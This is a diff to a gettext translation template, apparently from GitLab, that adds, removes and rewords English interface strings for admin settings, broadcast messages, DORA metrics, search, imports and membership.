@@ -1912,9 +1924,6 @@ msgstr ""
msgid "AWS secret access key (Optional)"
msgstr ""
-msgid "AWS service error: %{error}"
-msgstr ""
-
msgid "Abort"
msgstr ""
@@ -1963,9 +1972,6 @@ msgstr ""
msgid "Access denied for your LDAP account."
msgstr ""
-msgid "Access denied: %{error}"
-msgstr ""
-
msgid "Access expires"
msgstr ""
@@ -2125,7 +2131,7 @@ msgstr ""
msgid "Activate Service Desk"
msgstr ""
-msgid "Activated on"
+msgid "Activated"
msgstr ""
msgid "Active"
@@ -2203,6 +2209,9 @@ msgstr ""
msgid "Add a collapsible section"
msgstr ""
+msgid "Add a comment"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2581,15 +2590,18 @@ msgstr ""
msgid "AdminArea|All users created in the instance, including users who are not %{billable_users_link_start}billable users%{billable_users_link_end}."
msgstr ""
-msgid "AdminArea|Billable users"
-msgstr ""
-
msgid "AdminArea|Blocked users"
msgstr ""
msgid "AdminArea|Bots"
msgstr ""
+msgid "AdminArea|Breakdown of Billable users"
+msgstr ""
+
+msgid "AdminArea|Breakdown of Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Components"
msgstr ""
@@ -2671,9 +2683,18 @@ msgstr ""
msgid "AdminArea|Stopping jobs failed"
msgstr ""
+msgid "AdminArea|Total Billable users"
+msgstr ""
+
+msgid "AdminArea|Total Non-Billable users"
+msgstr ""
+
msgid "AdminArea|Total users"
msgstr ""
+msgid "AdminArea|Totals"
+msgstr ""
+
msgid "AdminArea|Updated %{last_update_time}"
msgstr ""
@@ -2701,6 +2722,12 @@ msgstr ""
msgid "AdminArea|You’re about to stop all jobs. This will halt all current jobs that are running."
msgstr ""
+msgid "AdminArea|active users + blocked users"
+msgstr ""
+
+msgid "AdminArea|total billable + total non-billable"
+msgstr ""
+
msgid "AdminDashboard|Error loading the statistics. Please try again"
msgstr ""
@@ -2755,6 +2782,9 @@ msgstr ""
msgid "AdminSettings|Auto DevOps domain"
msgstr ""
+msgid "AdminSettings|By default, set a limit to 0 to have no limit."
+msgstr ""
+
msgid "AdminSettings|CI/CD limits"
msgstr ""
@@ -2824,6 +2854,9 @@ msgstr ""
msgid "AdminSettings|Enable kuromoji custom analyzer: Search"
msgstr ""
+msgid "AdminSettings|Enable migrating GitLab groups and projects by direct transfer"
+msgstr ""
+
msgid "AdminSettings|Enable pipeline suggestion banner"
msgstr ""
@@ -2911,6 +2944,9 @@ msgstr ""
msgid "AdminSettings|Maximum number of custom domains per project"
msgstr ""
+msgid "AdminSettings|Maximum number of downstream pipelines in a pipeline's hierarchy tree"
+msgstr ""
+
msgid "AdminSettings|Maximum number of jobs in a single pipeline"
msgstr ""
@@ -2998,9 +3034,6 @@ msgstr ""
msgid "AdminSettings|Set a CI/CD template as the required pipeline configuration for all projects in the instance. Project CI/CD configuration merges into the required pipeline configuration when the pipeline runs. %{link_start}What is a required pipeline configuration?%{link_end}"
msgstr ""
-msgid "AdminSettings|Set limit to 0 to disable it."
-msgstr ""
-
msgid "AdminSettings|Set the expiration time of authentication tokens of newly registered group runners."
msgstr ""
@@ -3046,6 +3079,9 @@ msgstr ""
msgid "AdminSettings|There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
msgstr ""
+msgid "AdminSettings|This limit cannot be disabled. Set to 0 to block all DAG dependencies."
+msgstr ""
+
msgid "AdminSettings|To enable Registration Features, first enable Service Ping."
msgstr ""
@@ -3292,7 +3328,7 @@ msgstr ""
msgid "AdminUsers|Is using seat"
msgstr ""
-msgid "AdminUsers|Issues authored by this user are hidden from other users."
+msgid "AdminUsers|Issues and merge requests authored by this user are hidden from other users."
msgstr ""
msgid "AdminUsers|It's you!"
@@ -3337,6 +3373,9 @@ msgstr ""
msgid "AdminUsers|Personal projects, group and user history will be left intact"
msgstr ""
+msgid "AdminUsers|Private profile"
+msgstr ""
+
msgid "AdminUsers|Quota of CI/CD minutes"
msgstr ""
@@ -3595,6 +3634,9 @@ msgstr ""
msgid "After it expires, you can't use merge approvals, epics, or many security features."
msgstr ""
+msgid "After the Apple App Store Connect integration is activated, the following protected variables will be created for CI/CD use."
+msgstr ""
+
msgid "After the export is complete, download the data file from a notification email or from this page. You can then import the data file from the %{strong_text_start}Create new group%{strong_text_end} page of another GitLab instance."
msgstr ""
@@ -4237,9 +4279,6 @@ msgstr ""
msgid "An error occurred while approving, please try again."
msgstr ""
-msgid "An error occurred while authorizing your role"
-msgstr ""
-
msgid "An error occurred while checking group path. Please refresh and try again."
msgstr ""
@@ -4408,15 +4447,6 @@ msgstr ""
msgid "An error occurred while loading projects."
msgstr ""
-msgid "An error occurred while loading the Jobs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Needs tab."
-msgstr ""
-
-msgid "An error occurred while loading the Test Reports tab."
-msgstr ""
-
msgid "An error occurred while loading the blob controls."
msgstr ""
@@ -4450,9 +4480,6 @@ msgstr ""
msgid "An error occurred while loading the notification settings. Please try again."
msgstr ""
-msgid "An error occurred while loading the pipeline."
-msgstr ""
-
msgid "An error occurred while loading the pipelines jobs."
msgstr ""
@@ -4704,6 +4731,18 @@ msgstr ""
msgid "Append the comment with %{tableflip}"
msgstr ""
+msgid "AppleAppStore|The Apple App Store Connect Issuer ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Key ID."
+msgstr ""
+
+msgid "AppleAppStore|The Apple App Store Connect Private Key."
+msgstr ""
+
+msgid "AppleAppStore|Use GitLab to build and release an app in the Apple App Store."
+msgstr ""
+
msgid "Application"
msgstr ""
@@ -4846,9 +4885,6 @@ msgstr ""
msgid "ApplicationSettings|Send a confirmation email during sign up. New users must confirm their email address before they can log in."
msgstr ""
-msgid "ApplicationSettings|Send confirmation email on sign-up"
-msgstr ""
-
msgid "ApplicationSettings|Sign-up enabled"
msgstr ""
@@ -4938,6 +4974,9 @@ msgstr ""
msgid "Applying suggestions..."
msgstr ""
+msgid "Approval options"
+msgstr ""
+
msgid "Approval rules"
msgstr ""
@@ -5078,6 +5117,9 @@ msgstr ""
msgid "Approvals are optional."
msgstr ""
+msgid "Approvals required"
+msgstr ""
+
msgid "Approvals|Section: %section"
msgstr ""
@@ -5629,6 +5671,9 @@ msgstr ""
msgid "AuditStreams|Custom HTTP headers (optional)"
msgstr ""
+msgid "AuditStreams|Defines which streaming events are captured"
+msgstr ""
+
msgid "AuditStreams|Delete %{link}"
msgstr ""
@@ -5644,12 +5689,18 @@ msgstr ""
msgid "AuditStreams|Edit %{link}"
msgstr ""
+msgid "AuditStreams|Event filtering (optional)"
+msgstr ""
+
msgid "AuditStreams|Header"
msgstr ""
msgid "AuditStreams|Maximum of %{number} HTTP headers has been reached."
msgstr ""
+msgid "AuditStreams|No filters available. %{linkStart}How do I add a filter?%{linkEnd}"
+msgstr ""
+
msgid "AuditStreams|Remove custom header"
msgstr ""
@@ -7221,9 +7272,93 @@ msgstr ""
msgid "Broadcast Messages"
msgstr ""
+msgid "BroadcastMessages|Add broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Allow users to dismiss the broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Banner"
+msgstr ""
+
+msgid "BroadcastMessages|Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Dark"
+msgstr ""
+
+msgid "BroadcastMessages|Dismissable"
+msgstr ""
+
+msgid "BroadcastMessages|Ends at"
+msgstr ""
+
+msgid "BroadcastMessages|Green"
+msgstr ""
+
+msgid "BroadcastMessages|Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light"
+msgstr ""
+
+msgid "BroadcastMessages|Light Blue"
+msgstr ""
+
+msgid "BroadcastMessages|Light Green"
+msgstr ""
+
+msgid "BroadcastMessages|Light Indigo"
+msgstr ""
+
+msgid "BroadcastMessages|Light Red"
+msgstr ""
+
+msgid "BroadcastMessages|Message"
+msgstr ""
+
+msgid "BroadcastMessages|Notification"
+msgstr ""
+
+msgid "BroadcastMessages|Paths can contain wildcards, like */welcome"
+msgstr ""
+
+msgid "BroadcastMessages|Red"
+msgstr ""
+
+msgid "BroadcastMessages|Starts at"
+msgstr ""
+
+msgid "BroadcastMessages|Target Path"
+msgstr ""
+
+msgid "BroadcastMessages|Target roles"
+msgstr ""
+
+msgid "BroadcastMessages|The broadcast message displays only to users in projects and groups who have these roles."
+msgstr ""
+
+msgid "BroadcastMessages|Theme"
+msgstr ""
+
+msgid "BroadcastMessages|There was an error adding broadcast message."
+msgstr ""
+
+msgid "BroadcastMessages|There was an error updating broadcast message."
+msgstr ""
+
msgid "BroadcastMessages|There was an issue deleting this message, please try again later."
msgstr ""
+msgid "BroadcastMessages|Type"
+msgstr ""
+
+msgid "BroadcastMessages|Update broadcast message"
+msgstr ""
+
+msgid "BroadcastMessages|Your message here"
+msgstr ""
+
msgid "Browse Directory"
msgstr ""
@@ -7820,6 +7955,9 @@ msgstr ""
msgid "Cannot promote issue due to insufficient permissions."
msgstr ""
+msgid "Cannot push to source branch"
+msgstr ""
+
msgid "Cannot refer to a group milestone by an internal id!"
msgstr ""
@@ -7931,13 +8069,10 @@ msgstr ""
msgid "Change your password or recover your current one"
msgstr ""
-msgid "ChangeReviewer|Reviewer changed from %{old} to %{new}"
-msgstr ""
-
-msgid "ChangeReviewer|Reviewer changed to %{new}"
+msgid "ChangeReviewer|%{added_reviewers_text}%{removed_reviewers_text}"
msgstr ""
-msgid "ChangeReviewer|Unassigned"
+msgid "ChangeReviewer|All reviewers were removed."
msgstr ""
msgid "ChangeTypeAction|Cherry-pick"
@@ -8220,6 +8355,9 @@ msgstr ""
msgid "Checkout|Country"
msgstr ""
+msgid "Checkout|Coupon code (optional)"
+msgstr ""
+
msgid "Checkout|Create a new group"
msgstr ""
@@ -8379,12 +8517,6 @@ msgstr ""
msgid "Child epic"
msgstr ""
-msgid "Child epic does not exist."
-msgstr ""
-
-msgid "Child epic doesn't exist."
-msgstr ""
-
msgid "Child issues and epics"
msgstr ""
@@ -8568,6 +8700,9 @@ msgstr ""
msgid "CiVariables|This %{entity} has %{currentVariableCount} defined CI/CD variables. The maximum number of variables per %{entity} is %{maxVariableLimit}. To add new variables, you must reduce the number of defined variables."
msgstr ""
+msgid "CiVariables|Trigger this manual action"
+msgstr ""
+
msgid "CiVariables|Type"
msgstr ""
@@ -8693,6 +8828,9 @@ msgstr ""
msgid "Click the link below to confirm your email address."
msgstr ""
+msgid "Click to expand"
+msgstr ""
+
msgid "Click to expand it."
msgstr ""
@@ -8795,12 +8933,18 @@ msgstr ""
msgid "Closed this %{quick_action_target}."
msgstr ""
+msgid "Closed this issue. Marked as related to, and a duplicate of, %{duplicate_param}."
+msgstr ""
+
msgid "Closed: %{closed}"
msgstr ""
msgid "Closes this %{quick_action_target}."
msgstr ""
+msgid "Closes this issue. Marks as related to, and a duplicate of, %{duplicate_reference}."
+msgstr ""
+
msgid "Cloud Run"
msgstr ""
@@ -9466,21 +9610,6 @@ msgstr ""
msgid "ClusterIntegration|Every new Google Cloud Platform (GCP) account receives $300 in credit upon %{sign_up_link}. In partnership with Google, GitLab is able to offer an additional $200 for both new and existing GCP accounts to get started with GitLab's Google Kubernetes Engine Integration."
msgstr ""
-msgid "ClusterIntegration|Failed to configure EKS provider: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to configure Google Kubernetes Engine Cluster: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to fetch CloudFormation stack: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to request to Google Cloud Platform: %{message}"
-msgstr ""
-
-msgid "ClusterIntegration|Failed to run Kubeclient: %{message}"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -9969,6 +10098,9 @@ msgstr ""
msgid "Committed by"
msgstr ""
+msgid "CommonJS module"
+msgstr ""
+
msgid "Community forum"
msgstr ""
@@ -10860,6 +10992,9 @@ msgstr ""
msgid "Continue to the next step"
msgstr ""
+msgid "Continue with overages"
+msgstr ""
+
msgid "Continuous Integration and Deployment"
msgstr ""
@@ -11253,6 +11388,9 @@ msgstr ""
msgid "Country"
msgstr ""
+msgid "Counts"
+msgstr ""
+
msgid "Counts reflect children you may not have access to."
msgstr ""
@@ -12149,6 +12287,9 @@ msgstr ""
msgid "CycleAnalytics|project dropdown filter"
msgstr ""
+msgid "CycleAnalytics|the assigned object is not supported"
+msgstr ""
+
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -12173,6 +12314,9 @@ msgstr ""
msgid "DORA4Metrics|Average (last %{days}d)"
msgstr ""
+msgid "DORA4Metrics|Average number of deployments to production per day. This metric measures how often value is delivered to end users."
+msgstr ""
+
msgid "DORA4Metrics|Change Failure Rate"
msgstr ""
@@ -12185,7 +12329,10 @@ msgstr ""
msgid "DORA4Metrics|Cycle time"
msgstr ""
-msgid "DORA4Metrics|DORA metrics for %{groupName} group"
+msgid "DORA4Metrics|DORA metrics for %{name} group"
+msgstr ""
+
+msgid "DORA4Metrics|DORA metrics for %{name} project"
msgstr ""
msgid "DORA4Metrics|Date"
@@ -12206,6 +12353,12 @@ msgstr ""
msgid "DORA4Metrics|Deploys"
msgstr ""
+msgid "DORA4Metrics|Failed to load charts"
+msgstr ""
+
+msgid "DORA4Metrics|Go to docs"
+msgstr ""
+
msgid "DORA4Metrics|Lead Time for Changes"
msgstr ""
@@ -12227,6 +12380,12 @@ msgstr ""
msgid "DORA4Metrics|Median time an incident was open in a production environment over the given time period."
msgstr ""
+msgid "DORA4Metrics|Median time from issue created to issue closed."
+msgstr ""
+
+msgid "DORA4Metrics|Median time from the earliest commit of a linked issue's merge request to when that issue is closed."
+msgstr ""
+
msgid "DORA4Metrics|Month to date"
msgstr ""
@@ -12245,6 +12404,15 @@ msgstr ""
msgid "DORA4Metrics|Number of incidents divided by the number of deployments to a production environment in the given time period."
msgstr ""
+msgid "DORA4Metrics|Number of new issues created."
+msgstr ""
+
+msgid "DORA4Metrics|Past 6 Months"
+msgstr ""
+
+msgid "DORA4Metrics|Percentage of deployments that cause an incident in production."
+msgstr ""
+
msgid "DORA4Metrics|Percentage of failed deployments"
msgstr ""
@@ -12266,6 +12434,12 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DORA4Metrics|The time it takes an organization to recover from a failure in production."
+msgstr ""
+
+msgid "DORA4Metrics|The time to successfully deliver a commit into production. This metric reflects the efficiency of CI/CD pipelines."
+msgstr ""
+
msgid "DORA4Metrics|Time to Restore Service"
msgstr ""
@@ -12275,6 +12449,9 @@ msgstr ""
msgid "DORA4Metrics|Time to restore service (median days)"
msgstr ""
+msgid "DORA4Metrics|Total number of deploys to production."
+msgstr ""
+
msgid "DSN"
msgstr ""
@@ -12290,9 +12467,6 @@ msgstr ""
msgid "DashboardProjects|Personal"
msgstr ""
-msgid "DashboardProjects|Trending"
-msgstr ""
-
msgid "Dashboards"
msgstr ""
@@ -13210,11 +13384,10 @@ msgstr ""
msgid "DeletionSettings|Keep deleted"
msgstr ""
-msgid "DeletionSettings|Keep deleted projects for %{number} days"
-msgstr ""
-
-msgid "DeletionSettings|Keep deleted projects for 1 day"
-msgstr ""
+msgid "DeletionSettings|Keep deleted projects for %{number} day"
+msgid_plural "DeletionSettings|Keep deleted projects for %{number} days"
+msgstr[0] ""
+msgstr[1] ""
msgid "DeletionSettings|None, delete immediately"
msgstr ""
@@ -13279,6 +13452,9 @@ msgstr ""
msgid "Dependencies|Dependency path"
msgstr ""
+msgid "Dependencies|Error exporting the dependency list. Please reload the page."
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -13660,9 +13836,15 @@ msgstr ""
msgid "Deployment Target|Select the deployment target"
msgstr ""
+msgid "Deployment approvals is not configured for this environment."
+msgstr ""
+
msgid "Deployment frequency"
msgstr ""
+msgid "DeploymentApprovals|Allow pipeline triggerer to approve deployment."
+msgstr ""
+
msgid "DeploymentApprovals|Approvals"
msgstr ""
@@ -13678,6 +13860,12 @@ msgstr ""
msgid "DeploymentApprovals|Maintainers"
msgstr ""
+msgid "DeploymentApprovals|Set how approval rules are applied to deployments in protected environments."
+msgstr ""
+
+msgid "DeploymentApprovals|When a pipeline runs, deployment jobs will automatically be approved in the pipeline if the triggerer is allowed to approve."
+msgstr ""
+
msgid "DeploymentApproval| Current approvals: %{current}"
msgstr ""
@@ -13761,6 +13949,12 @@ msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
msgstr[1] ""
+msgid "Deployments|Define environments in the deploy stage(s) in %{code_open}.gitlab-ci.yml%{code_close} to track deployments here."
+msgstr ""
+
+msgid "Deployments|You don't have any deployments right now."
+msgstr ""
+
msgid "Deployment|API"
msgstr ""
@@ -14030,7 +14224,7 @@ msgstr ""
msgid "DevOps adoption"
msgstr ""
-msgid "DevOps metrics comparison (Alpha)"
+msgid "DevOps metrics comparison (Beta)"
msgstr ""
msgid "Developer"
@@ -14255,6 +14449,9 @@ msgstr ""
msgid "Difference between start date and now"
msgstr ""
+msgid "Different user's signature"
+msgstr ""
+
msgid "DiffsCompareBaseBranch|(HEAD)"
msgstr ""
@@ -14746,6 +14943,9 @@ msgstr ""
msgid "E-mail:"
msgstr ""
+msgid "ESM module"
+msgstr ""
+
msgid "Each project can also have an issue tracker and a wiki."
msgstr ""
@@ -15943,10 +16143,7 @@ msgstr ""
msgid "Error: Couldn't load some or all of the changes."
msgstr ""
-msgid "Error: No AWS credentials were supplied"
-msgstr ""
-
-msgid "Error: No AWS provision role found for user"
+msgid "Error: Gitaly is unavailable. Contact your administrator."
msgstr ""
msgid "Error: Unable to create deploy freeze"
@@ -15955,9 +16152,6 @@ msgstr ""
msgid "Error: Unable to delete deploy freeze"
msgstr ""
-msgid "Error: Unable to find AWS role for current user"
-msgstr ""
-
msgid "ErrorTracking|Access token is %{token_in_code_tag}"
msgstr ""
@@ -16455,9 +16649,6 @@ msgstr ""
msgid "Expires %{preposition} %{expires_at}"
msgstr ""
-msgid "Expires on"
-msgstr ""
-
msgid "Expires:"
msgstr ""
@@ -16491,9 +16682,6 @@ msgstr ""
msgid "Explore snippets"
msgstr ""
-msgid "Explore topics"
-msgstr ""
-
msgid "Export"
msgstr ""
@@ -16813,9 +17001,6 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
-msgid "Failed to promote issue to incident"
-msgstr ""
-
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -17241,9 +17426,6 @@ msgstr ""
msgid "Filter by %{page_context_word} that are currently open."
msgstr ""
-msgid "Filter by Git revision"
-msgstr ""
-
msgid "Filter by issues that are currently closed."
msgstr ""
@@ -17562,16 +17744,13 @@ msgstr ""
msgid "ForksDivergence|%{messages} upstream repository"
msgstr ""
-msgid "ForksDivergence|Up to date with upstream repository"
-msgstr ""
-
-msgid "Format: %{dateFormat}"
+msgid "ForksDivergence|Fork has diverged from upstream repository"
msgstr ""
-msgid "Found errors in your %{gitlab_ci_yml}:"
+msgid "ForksDivergence|Up to date with upstream repository"
msgstr ""
-msgid "Found errors in your .gitlab-ci.yml:"
+msgid "Format: %{dateFormat}"
msgstr ""
msgid "Framework successfully deleted"
@@ -17669,6 +17848,9 @@ msgstr ""
msgid "GPG Keys"
msgstr ""
+msgid "GPG key mismatch"
+msgstr ""
+
msgid "GPG keys allow you to verify signed commits."
msgstr ""
@@ -18327,9 +18509,6 @@ msgstr ""
msgid "Git"
msgstr ""
-msgid "Git GC period"
-msgstr ""
-
msgid "Git LFS Rate Limits"
msgstr ""
@@ -18743,6 +18922,9 @@ msgstr ""
msgid "Global Shortcuts"
msgstr ""
+msgid "Global notification email"
+msgstr ""
+
msgid "Global notification level"
msgstr ""
@@ -18755,6 +18937,12 @@ msgstr ""
msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
msgstr ""
+msgid "GlobalSearch|Close"
+msgstr ""
+
+msgid "GlobalSearch|Group"
+msgstr ""
+
msgid "GlobalSearch|Groups"
msgstr ""
@@ -18779,6 +18967,9 @@ msgstr ""
msgid "GlobalSearch|Merge requests that I'm a reviewer"
msgstr ""
+msgid "GlobalSearch|Project"
+msgstr ""
+
msgid "GlobalSearch|Projects"
msgstr ""
@@ -18797,6 +18988,9 @@ msgstr ""
msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
msgstr ""
+msgid "GlobalSearch|Search"
+msgstr ""
+
msgid "GlobalSearch|Search GitLab"
msgstr ""
@@ -18809,9 +19003,15 @@ msgstr ""
msgid "GlobalSearch|Settings"
msgstr ""
+msgid "GlobalSearch|Syntax options"
+msgstr ""
+
msgid "GlobalSearch|There was an error fetching search autocomplete suggestions."
msgstr ""
+msgid "GlobalSearch|There was an error fetching the \"Syntax Options\" document."
+msgstr ""
+
msgid "GlobalSearch|Type and press the enter key to submit search."
msgstr ""
@@ -19136,6 +19336,12 @@ msgstr ""
msgid "Group %{group_name} was successfully created."
msgstr ""
+msgid "Group '%{group_name}' could not be updated."
+msgstr ""
+
+msgid "Group '%{group_name}' was successfully updated."
+msgstr ""
+
msgid "Group Access Tokens"
msgstr ""
@@ -19298,7 +19504,7 @@ msgstr ""
msgid "GroupActivityMetrics|Recent activity"
msgstr ""
-msgid "GroupImport|Failed to import group."
+msgid "GroupImport|Failed to import group: %{error}"
msgstr ""
msgid "GroupImport|Group '%{group_name}' is being imported."
@@ -19781,9 +19987,15 @@ msgstr ""
msgid "GroupsEmptyState|If you organize your projects under a group, it works like a folder."
msgstr ""
+msgid "GroupsEmptyState|No archived projects."
+msgstr ""
+
msgid "GroupsEmptyState|No groups found"
msgstr ""
+msgid "GroupsEmptyState|No shared projects."
+msgstr ""
+
msgid "GroupsEmptyState|No subgroups or projects."
msgstr ""
@@ -19838,6 +20050,9 @@ msgstr ""
msgid "GroupsNew|Import groups from another instance of GitLab"
msgstr ""
+msgid "GroupsNew|Importing groups by direct transfer is currently disabled."
+msgstr ""
+
msgid "GroupsNew|No import options available"
msgstr ""
@@ -19847,6 +20062,12 @@ msgstr ""
msgid "GroupsNew|Personal access token"
msgstr ""
+msgid "GroupsNew|Please %{admin_link_start}enable it in the Admin settings%{admin_link_end}."
+msgstr ""
+
+msgid "GroupsNew|Please ask your Administrator to enable it in the Admin settings."
+msgstr ""
+
msgid "GroupsNew|Please fill in GitLab source URL."
msgstr ""
@@ -19856,6 +20077,9 @@ msgstr ""
msgid "GroupsNew|Provide credentials for another instance of GitLab to import your groups directly."
msgstr ""
+msgid "GroupsNew|Remember to enable it also on the instance you are migrating from."
+msgstr ""
+
msgid "GroupsNew|This feature is deprecated and replaced by %{docs_link_start}group migration%{docs_link_end}."
msgstr ""
@@ -19973,6 +20197,9 @@ msgstr ""
msgid "HAR file path or URL"
msgstr ""
+msgid "HTML script tag"
+msgstr ""
+
msgid "HTTP Archive (HAR)"
msgstr ""
@@ -20284,6 +20511,12 @@ msgstr ""
msgid "Hierarchy|Planning hierarchy"
msgstr ""
+msgid "Hierarchy|Something went wrong while fetching children."
+msgstr ""
+
+msgid "Hierarchy|Something went wrong while removing a child item."
+msgstr ""
+
msgid "Hierarchy|Take the work items survey"
msgstr ""
@@ -20698,9 +20931,6 @@ msgstr ""
msgid "If no options are selected, only administrators can register runners."
msgstr ""
-msgid "If none of the options work, try contacting a GitLab administrator."
-msgstr ""
-
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
@@ -20722,6 +20952,9 @@ msgstr ""
msgid "If you add %{codeStart}needs%{codeEnd} to jobs in your pipeline you'll be able to view the %{codeStart}needs%{codeEnd} relationships between jobs in this tab as a %{linkStart}Directed Acyclic Graph (DAG)%{linkEnd}."
msgstr ""
+msgid "If you are unable to sign in or recover your password, contact a GitLab administrator."
+msgstr ""
+
msgid "If you did not initiate these sign-in attempts, please reach out to your administrator or enable two-factor authentication (2FA) on your account."
msgstr ""
@@ -20942,12 +21175,24 @@ msgstr ""
msgid "ImportProjects|Blocked import URL: %{message}"
msgstr ""
+msgid "ImportProjects|Cancel import"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed"
+msgstr ""
+
+msgid "ImportProjects|Cancelling project import failed: %{reason}"
+msgstr ""
+
msgid "ImportProjects|Error importing repository %{project_safe_import_url} into %{project_full_path} - %{message}"
msgstr ""
msgid "ImportProjects|Import repositories"
msgstr ""
+msgid "ImportProjects|Imported files will be kept. You can import this repository again later."
+msgstr ""
+
msgid "ImportProjects|Importing the project failed"
msgstr ""
@@ -22006,7 +22251,7 @@ msgstr ""
msgid "Insights|Configure a custom report for insights into your group processes such as amount of issues, bugs, and merge requests per month. %{linkStart}How do I configure an insights report?%{linkEnd}"
msgstr ""
-msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config for more information)."
+msgid "Insights|Some items are not visible beacuse the project was filtered out in the insights.yml file (see the projects.only config in the YAML file or the enabled project features (issues, merge requests) in the project settings)."
msgstr ""
msgid "Insights|This project is filtered out in the insights.yml file (see the projects.only config for more information)."
@@ -22068,9 +22313,18 @@ msgstr ""
msgid "IntegrationEvents|A confidential issue is created, updated, or closed"
msgstr ""
+msgid "IntegrationEvents|A deployment is started or finished"
+msgstr ""
+
msgid "IntegrationEvents|A merge request is created, updated, or merged"
msgstr ""
+msgid "IntegrationEvents|A new, unique alert is recorded"
+msgstr ""
+
+msgid "IntegrationEvents|A new, unique, vulnerability is recorded. (Note: This feature requires an Ultimate plan)"
+msgstr ""
+
msgid "IntegrationEvents|A pipeline status changes"
msgstr ""
@@ -22221,6 +22475,9 @@ msgstr ""
msgid "Integrations|Instance-level integration management"
msgstr ""
+msgid "Integrations|Integration details"
+msgstr ""
+
msgid "Integrations|Issues created in Jira are shown here once you have created the issues in project setup in Jira."
msgstr ""
@@ -23423,6 +23680,9 @@ msgstr ""
msgid "JiraService|Change GitLab version"
msgstr ""
+msgid "JiraService|Continue setup in GitLab"
+msgstr ""
+
msgid "JiraService|Define the type of Jira issue to create from a vulnerability."
msgstr ""
@@ -23471,6 +23731,9 @@ msgstr ""
msgid "JiraService|If different from Web URL."
msgstr ""
+msgid "JiraService|In order to complete the set up, you’ll need to complete a few steps in GitLab."
+msgstr ""
+
msgid "JiraService|Issues created from vulnerabilities in this project will be Jira issues, even if GitLab issues are enabled."
msgstr ""
@@ -23615,9 +23878,6 @@ msgstr ""
msgid "Jobs|All"
msgstr ""
-msgid "Jobs|An error occurred while loading the Failed Jobs tab."
-msgstr ""
-
msgid "Jobs|Are you sure you want to proceed?"
msgstr ""
@@ -23933,9 +24193,6 @@ msgstr ""
msgid "Kubernetes cluster"
msgstr ""
-msgid "Kubernetes cluster creation time exceeds timeout; %{timeout}"
-msgstr ""
-
msgid "Kubernetes cluster integration and resources are being removed."
msgstr ""
@@ -24096,9 +24353,6 @@ msgstr ""
msgid "Last Seen"
msgstr ""
-msgid "Last Sync"
-msgstr ""
-
msgid "Last Used"
msgstr ""
@@ -24231,6 +24485,9 @@ msgstr ""
msgid "Learn More."
msgstr ""
+msgid "Learn about signing commits"
+msgstr ""
+
msgid "Learn about signing commits with SSH keys."
msgstr ""
@@ -24300,9 +24557,6 @@ msgstr ""
msgid "Learn more about shards and replicas in the %{configuration_link_start}Advanced Search configuration%{configuration_link_end} documentation. Changes don't take place until you %{recreated_link_start}recreate%{recreated_link_end} the index."
msgstr ""
-msgid "Learn more about signing commits"
-msgstr ""
-
msgid "Learn more in the"
msgstr ""
@@ -25056,6 +25310,9 @@ msgstr ""
msgid "Make everyone on your team more productive regardless of their location. GitLab Geo creates read-only mirrors of your GitLab instance so you can reduce the time it takes to clone and fetch large repos."
msgstr ""
+msgid "Make new users' profiles private by default"
+msgstr ""
+
msgid "Make sure you choose a strong, unique password."
msgstr ""
@@ -25071,9 +25328,6 @@ msgstr ""
msgid "Manage %{workspace} labels"
msgstr ""
-msgid "Manage Dashboards"
-msgstr ""
-
msgid "Manage Web IDE features."
msgstr ""
@@ -25173,6 +25427,9 @@ msgstr ""
msgid "Mark to do as done"
msgstr ""
+msgid "Markdown"
+msgstr ""
+
msgid "Markdown Help"
msgstr ""
@@ -25242,9 +25499,6 @@ msgstr ""
msgid "Marked this %{noun} as ready."
msgstr ""
-msgid "Marked this issue as a duplicate of %{duplicate_param}."
-msgstr ""
-
msgid "Marked this issue as related to %{issue_ref}."
msgstr ""
@@ -25257,9 +25511,6 @@ msgstr ""
msgid "Marks this %{noun} as ready."
msgstr ""
-msgid "Marks this issue as a duplicate of %{duplicate_reference}."
-msgstr ""
-
msgid "Marks this issue as related to %{issue_ref}."
msgstr ""
@@ -25599,6 +25850,9 @@ msgstr ""
msgid "MemberRole|can't be changed"
msgstr ""
+msgid "MemberRole|cannot be changed because it is already assigned to a user. Please create a new Member Role instead"
+msgstr ""
+
msgid "MemberRole|must be top-level namespace"
msgstr ""
@@ -25636,6 +25890,9 @@ msgstr[1] ""
msgid "Membership"
msgstr ""
+msgid "Members|%{group} by %{createdBy}"
+msgstr ""
+
msgid "Members|%{time} by %{user}"
msgstr ""
@@ -25645,6 +25902,21 @@ msgstr ""
msgid "Members|2FA"
msgstr ""
+msgid "Members|A group must have at least one owner. To leave this group, assign a new owner."
+msgstr ""
+
+msgid "Members|A group must have at least one owner. To remove the member, assign a new owner."
+msgstr ""
+
+msgid "Members|A personal project's owner cannot be removed."
+msgstr ""
+
+msgid "Members|Access granted"
+msgstr ""
+
+msgid "Members|Activity"
+msgstr ""
+
msgid "Members|An error occurred while trying to enable LDAP override, please try again."
msgstr ""
